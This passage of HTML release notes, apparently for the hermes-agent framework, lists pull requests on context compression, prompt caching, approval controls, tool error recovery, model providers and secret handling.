<li>Discord voice PCM streams to ffmpeg stdin instead of a temp file (<a href="https://github.com/NousResearch/hermes-agent/pull/76970" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76970/hovercard">#76970</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Compression &amp; context</h3>
<ul>
<li>Proactive tool-result pruning for large-window models; per-turn micro-compaction; N-user tail guarantee (<code>compression.min_tail_user_messages</code>); bounded summarizer input with head+tail retention (<a href="https://github.com/NousResearch/hermes-agent/pull/70254" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70254/hovercard">#70254</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/75345" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75345/hovercard">#75345</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70250" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70250/hovercard">#70250</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70249/hovercard">#70249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Ghost-skill defense — <code>[SKILL_PRUNED]</code> markers, protected prune, deterministic survival; progress-aware timeouts; lock-contended compression soft-defers instead of exhausting (<a href="https://github.com/NousResearch/hermes-agent/pull/70275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70275/hovercard">#70275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/71508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71508/hovercard">#71508</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70285/hovercard">#70285</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model threshold overrides; absolute token threshold (<code>compression.threshold_tokens</code>); opt-in idle-triggered compaction; opt-in progress notices; structured local logging for compression attempts (<a href="https://github.com/NousResearch/hermes-agent/pull/69339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69339/hovercard">#69339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69335" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69335/hovercard">#69335</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69360" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69360/hovercard">#69360</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70457/hovercard">#70457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69338" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69338/hovercard">#69338</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Context-engine ABC grows <code>select_context()</code> + <code>on_turn_complete()</code> verbs (salvage of <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chaos-xxl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chaos-xxl">@chaos-xxl</a>'s RFC work); engines can suppress or customize compaction status (<a href="https://github.com/NousResearch/hermes-agent/pull/70458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70458/hovercard">#70458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69859/hovercard">#69859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Strict redaction applied at every compaction text boundary (<a href="https://github.com/NousResearch/hermes-agent/pull/69294" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69294/hovercard">#69294</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Prompt caching &amp; hot-path performance</h3>
<ul>
<li>Tool schemas cached on native Anthropic without history loss + consolidated cache-plan internals (<a href="https://github.com/NousResearch/hermes-agent/pull/76032" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76032/hovercard">#76032</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76067/hovercard">#76067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>DeepSeek prompt caching on OpenCode gateways; per-API-call token accounting off the turn thread; OpenAI wire client reused across sequential LLM calls; send-path tool-call canonicalization memoized (<a href="https://github.com/NousResearch/hermes-agent/pull/75886" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75886/hovercard">#75886</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73359" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73359/hovercard">#73359</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73375" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73375/hovercard">#73375</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76880" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76880/hovercard">#76880</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Readonly config loader at 29 call sites (28× cheaper reads); per-turn config deepcopies killed (telemetry gate 54×); one raw config.yaml parse per process; inter-tool delay removed (<a href="https://github.com/NousResearch/hermes-agent/pull/74322" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74322/hovercard">#74322</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74211" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74211/hovercard">#74211</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74228" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74228/hovercard">#74228</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64172" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64172/hovercard">#64172</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Soju06/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Soju06">@Soju06</a>)</li>
<li>Lazy heavy-SDK imports (−8-10% import cost on top of the mcp/tool-discovery diet); streaming hot loop drops per-chunk repr() (~3× cheaper accounting); cursor/memo optimizations for per-iteration history walks (<a href="https://github.com/NousResearch/hermes-agent/pull/74204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74204/hovercard">#74204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74194/hovercard">#74194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74221" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74221/hovercard">#74221</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74231/hovercard">#74231</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cold-start ~14s GIL stall during backend init mitigated; turn flush batched into one SQLite transaction; provider-capability-gated prompt cache keys (implied for api.openai.com) (<a href="https://github.com/NousResearch/hermes-agent/pull/77814" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77814/hovercard">#77814</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77619" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77619/hovercard">#77619</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77609" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77609/hovercard">#77609</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>AIAgent hot-path salvage — prompt-cache copy, reasoning-timeout precompute, lazy compressor init (<a href="https://github.com/NousResearch/hermes-agent/pull/57229" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57229/hovercard">#57229</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h3>Approvals &amp; the agent loop</h3>
<ul>
<li><code>hermes approvals suggest</code> mines approval history into allowlist proposals; operator-customizable <code>approvals.smart_policy</code>; consecutive-denial circuit breaker; cross-surface approvals mode command (<a href="https://github.com/NousResearch/hermes-agent/pull/72259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72259/hovercard">#72259</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72186/hovercard">#72186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72203/hovercard">#72203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63517/hovercard">#63517</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Docker/podman daemon-redirect commands require approval; session-wide runaway-loop caps for web_search + delegate_task (Claude Code-inspired) (<a href="https://github.com/NousResearch/hermes-agent/pull/71092" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/71092/hovercard">#71092</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66600" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66600/hovercard">#66600</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Mid-turn redirects — user corrections steer the active turn, preserving in-flight work and the original prompt (<a href="https://github.com/NousResearch/hermes-agent/pull/63104" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63104/hovercard">#63104</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72339/hovercard">#72339</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Delegation: structured timeout/stall metadata + live per-child status in <code>/agents</code>; subagents can use <code>execute_code</code>; redacted child tool history exposed in <code>subagent_stop</code>; public subagent lifecycle API for plugins (<a href="https://github.com/NousResearch/hermes-agent/pull/72300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72300/hovercard">#72300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69325" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69325/hovercard">#69325</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72403/hovercard">#72403</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72501/hovercard">#72501</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Single-owner refactors for backend identity + failure-scoped skips, empty-content wire repair, call_id/reasoning sanitization, model-switch parsing (<a href="https://github.com/NousResearch/hermes-agent/pull/72505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72505/hovercard">#72505</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73071" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73071/hovercard">#73071</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74319" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74319/hovercard">#74319</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74229" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74229/hovercard">#74229</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Labeled reasoning excerpt surfaced at the empty-response terminal; tool_search probe-validates blind tool_call args (<a href="https://github.com/NousResearch/hermes-agent/pull/65144" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65144/hovercard">#65144</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59267/hovercard">#59267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Tool self-recovery wave</h3>
<ul>
<li>Terminal: recoverable truncation (full output spilled + pre-truncation size), cwd echoed when a command changes directory, output-pattern failure hints (<a href="https://github.com/NousResearch/hermes-agent/pull/77041" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77041/hovercard">#77041</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77004" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77004/hovercard">#77004</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76992/hovercard">#76992</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Patch: already-applied edits return success no-op, whitespace-visualized no-match diagnosis, ambiguous-match locations listed (<a href="https://github.com/NousResearch/hermes-agent/pull/76998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76998/hovercard">#76998</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77024" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77024/hovercard">#77024</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77001" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77001/hovercard">#77001</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Search: zero-match probes + multi-path recovery, auto-multiline for newline patterns; read_file default limit 500 → 2000 lines; negative-result cache for read/search misses; write_file verifies on-disk content (<a href="https://github.com/NousResearch/hermes-agent/pull/77011" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77011/hovercard">#77011</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77102/hovercard">#77102</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76996" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76996/hovercard">#76996</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76945" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76945/hovercard">#76945</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77055/hovercard">#77055</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>execute_code recovery hints; skill_view dedup stub for unchanged re-reads; terminal/execute_code schema prose trimmed ~40%; tiered tool disclosure scales with catalog size; default iteration limit 90 → 500 (<a href="https://github.com/NousResearch/hermes-agent/pull/77106" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77106/hovercard">#77106</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77095" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77095/hovercard">#77095</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/77023" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/77023/hovercard">#77023</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67034" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67034/hovercard">#67034</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/72176" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/72176/hovercard">#72176</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Providers &amp; models</h3>
<ul>
<li>Vercel AI Gateway provider + Vercel Sandbox terminal backend return, modernized (SDK 0.7.2, telemetry off) (<a href="https://github.com/NousResearch/hermes-agent/pull/74518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74518/hovercard">#74518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gemini 3.1 Pro + 3.6 Flash in catalogs; Gemini salvage cluster (3.6-flash aux default, Vertex catalog, direct cost tracking); claude-opus-5 in OpenRouter + Nous Portal; deepseek-v4-flash-0731 (<a href="https://github.com/NousResearch/hermes-agent/pull/73479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73479/hovercard">#73479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/73516" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73516/hovercard">#73516</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70946/hovercard">#70946</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/75501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75501/hovercard">#75501</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock Converse API prompt caching (cachePoint) (<a href="https://github.com/NousResearch/hermes-agent/pull/70231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70231/hovercard">#70231</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>)</li>
<li>OpenAI data-residency endpoints get declared transport + correct catalog; provider-aware API-server request routing; backend-acknowledged session model lock; Nous sticky routing via top-level session_id (<a href="https://github.com/NousResearch/hermes-agent/pull/74958" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74958/hovercard">#74958</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70853" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70853/hovercard">#70853</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70950" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70950/hovercard">#70950</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69253" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69253/hovercard">#69253</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/victor-kyriazakos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/victor-kyriazakos">@victor-kyriazakos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Model picker: curated defaults + collapsible providers + select-all; stale caches served instantly with background refresh; custom-endpoint probe capped at 1.5s; honcho OAuth device-code login (<a href="https://github.com/NousResearch/hermes-agent/pull/73172" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/73172/hovercard">#73172</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76430" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76430/hovercard">#76430</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/76922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/76922/hovercard">#76922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61608" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61608/hovercard">#61608</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akattelu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akattelu">@akattelu</a>)</li>
<li>ACP: named custom providers in the model selector; authenticated cross-provider model choices; non-blocking startup via background MCP discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/70082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70082/hovercard">#70082</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/70404" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/70404/hovercard">#70404</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/75985" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/75985/hovercard">#75985</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/israellot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/israellot">@israellot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanning3390/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanning3390">@amanning3390</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Command-helper secret source (composes with all vaults); one-command token rotation + actionable startup errors; opt-in encrypted break-glass cache for Bitwarden; vault-injected keys scoped per profile home; orchestrator preserve_existing + profile aliasing (<a href="https://github.com/NousResearch/hermes-agent/pull/69266" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69266/hovercard">#69266</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68605" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68605/hovercard">#68605</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69251/hovercard">#69251</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69250" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69250/hovercard">#69250</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69058" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69058/hovercard">#69058</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>${env:VAR}</code> SecretRef parity between config.yaml and MCP config; secret-source env vars reach stdio MCP servers (<a href="https://github.com/NousResearch/hermes-agent/pull/69267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69267/hovercard">#69267</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/69053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/69053/hovercard">#69053</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Canonical config loaders for behavioral reads; table-driven config migration registry; DEFAULT_CONFIG extracted to config_defaults.py; auto-migration support floor at v12 (<a href="https://github.com/NousResearch/hermes-agent/pull/74237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74237/hovercard">#74237</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74200" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74200/hovercard">#74200</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74182/hovercard">#74182</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/74433" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/74433/hovercard">#74433</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🌐 Gateway, Relay &amp; Fleet</h2>
<ul>
